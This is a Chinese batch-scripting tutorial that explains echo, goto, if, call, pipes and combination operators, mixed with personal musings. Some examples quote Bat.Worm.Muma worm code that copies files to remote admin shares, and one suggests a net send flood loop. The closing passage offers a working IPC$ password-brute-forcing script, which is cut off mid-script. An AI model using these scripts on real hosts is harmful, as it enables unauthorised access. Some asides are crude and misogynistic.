off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。 2、echo 中 文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱! echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。 echo命令的另一种用法二:可以直接编辑文本文件。例六: echo nbtstat -A 192.168.0.1 > a.bat echo nbtstat -A 192.168.0.2 >> a.bat echo nbtstat -A 192.168.0.3 >> a.bat 以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。 3、:: 这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。 4、pause 中 文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一 行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错 误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。 5、:和goto 为什么要把这两个命令联合起来介绍?因为它 们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不 是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是 标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至 于这两个命令具体用法,参照例五。 goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如: …… goto end …… :end 这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。 6、% 这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七: net use \\%1\ipc$ %3 /u:"%2" copy 11.BAT \\%1\admin$\system32 /y copy 13.BAT \\%1\admin$\system32 /y copy ipc2.BAT \\%1\admin$\system32 /y copy NWZI.EXE \\%1\admin$\system32 /y attrib \\%1\admin$\system32\10.bat -r -h -s 以 上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚 本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在 脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是 更灵活?)。 关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫! 这 一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐 怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己 肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用 批处理来自动化完成了。 烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山 行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点 怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道 这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放 心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的! 曾经有一篇经典的批处理教程 出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个 字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程, 虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。 批处理脚本中最重要的几 个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收 获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有 些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经 掌握了这篇教程的所有东西----但那也就不必看了,浪费时间! 7、if 接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。 (1)、输入判断。还是用例五里面的那几句吧: if "%1"=="" goto usage if "%1"=="/?" goto usage if "%1"=="help" goto usage 这 里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或 help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中 文体会一下就understand了。 (2)、存在判断。再看例二里这句: if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 如 果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果 不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 (3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵): masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先 对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有 关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符 合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。 另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为: masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看 到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成 功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练 习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了? 后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。 这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成: masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 关 于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似 下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。 一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学 会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。 IF [NOT] ERRORLEVEL number do command IF [NOT] string1==string2 do command IF [NOT] EXIST filename do command 8、call 学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat): start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k 有 没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以 灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。 在 start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat 中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂 没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可 以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码 写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。 那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat): net send %1 This is a call example. call a.bat 这 两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时 向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。 给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat): call a.bat 一 定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候 跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。 9、find 这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明: @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit 先 用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内 容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直 接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎 指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的 type命令了。 至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。 10、for、set、shift 为 什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究 Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一 个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令 (特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样 那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一: @echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit 执 行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信 息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令 后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的 心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经 需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十 二: START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 这 是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能 体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代 码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有 的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。 没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。 不 得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处 理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述 了。 不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东, 可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的 追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老 妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎 在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。 可以说,批处理脚本中最重要的几个命令我都没有给出如echo 或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS 批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点 time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个 不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。 但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌 子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班 第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过 来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个 人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。 “课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批 处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以 我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。 下面从管道命令讲起。常用的管道命令有以下这些:|、>、>> 11、| 这 个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让 我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只 能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三: help | more 回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。 为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。 11.1、 help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所 支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。 11.2、more命 令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在 DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三 里,more命令的作用就是让输出的信息逐屏或逐行显示。 看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的 输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令 more的输入。所以例十三和下面的例十四是等效的: help > a.txt more a.txt del a.txt 这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。 结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。 12、>、>> 这 两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别 是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十 五: echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat 依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下: @echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit 看 到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令> 和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所 以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令> 和>>的用法。 13、<、>&、<& 这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。 <,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。 >&,将一个句柄的输出写入到另一个句柄的输入中。 <&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。 关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。 下面介绍组合命令:&、&&、|| 组 合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了 一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是 说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本 里也一样,有些时候某些命令是不能同时执行的,后面给你说。 刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里 喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个 连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭 折。但我能怪谁? 忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落 的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道 那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要 在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾 诉,因为虽然失败,但还是男人,是男人就不能向困难低头! 14、& 这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六: copy a.txt b.txt /y & del a.txt 其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。 15、&& 切 记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令 来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下 的命令。这就为我们自动化完成一些任务提供了方便。例十七: dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www 如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的: if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www 至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。 你 是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如 何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八: dir c:\ && dir d:\ > a.txt 仔 细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令 和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结 的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写: dir c:\ > a.txt && dir d:\ >> a.txt 这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。 当然这里还可以利用&命令(自己想一下道理哦): dir c:\ > a.txt & dir d:\ >> a.txt 16、|| 这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九: @echo off dir s*.exe || exit 其 实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因 为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十: @echo off dir s*.exe || echo Didn't exist file s*.exe & pause & exit 这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。 给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二: 例二十一: @echo off dir a.ttt /a & dir a.txt || exit 例二十二: @echo off dir a.ttt /a && dir a.txt || exit 警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告! 有 关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是 我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被 你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声! 这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简 明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命 令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角 度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了! 将下列代码存为bat文件 1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名 2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 密码破解出来之后,存放于c:\pass.txt文件里面。 将下列代码存为pass.bat文件 @echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解结果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的说2 :大棒槌是我的说1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的说2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 将下列代码存为test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2 :answer0 echo 远程主机:"%1" >>c:\pass.txt echo 用 户:"%3" 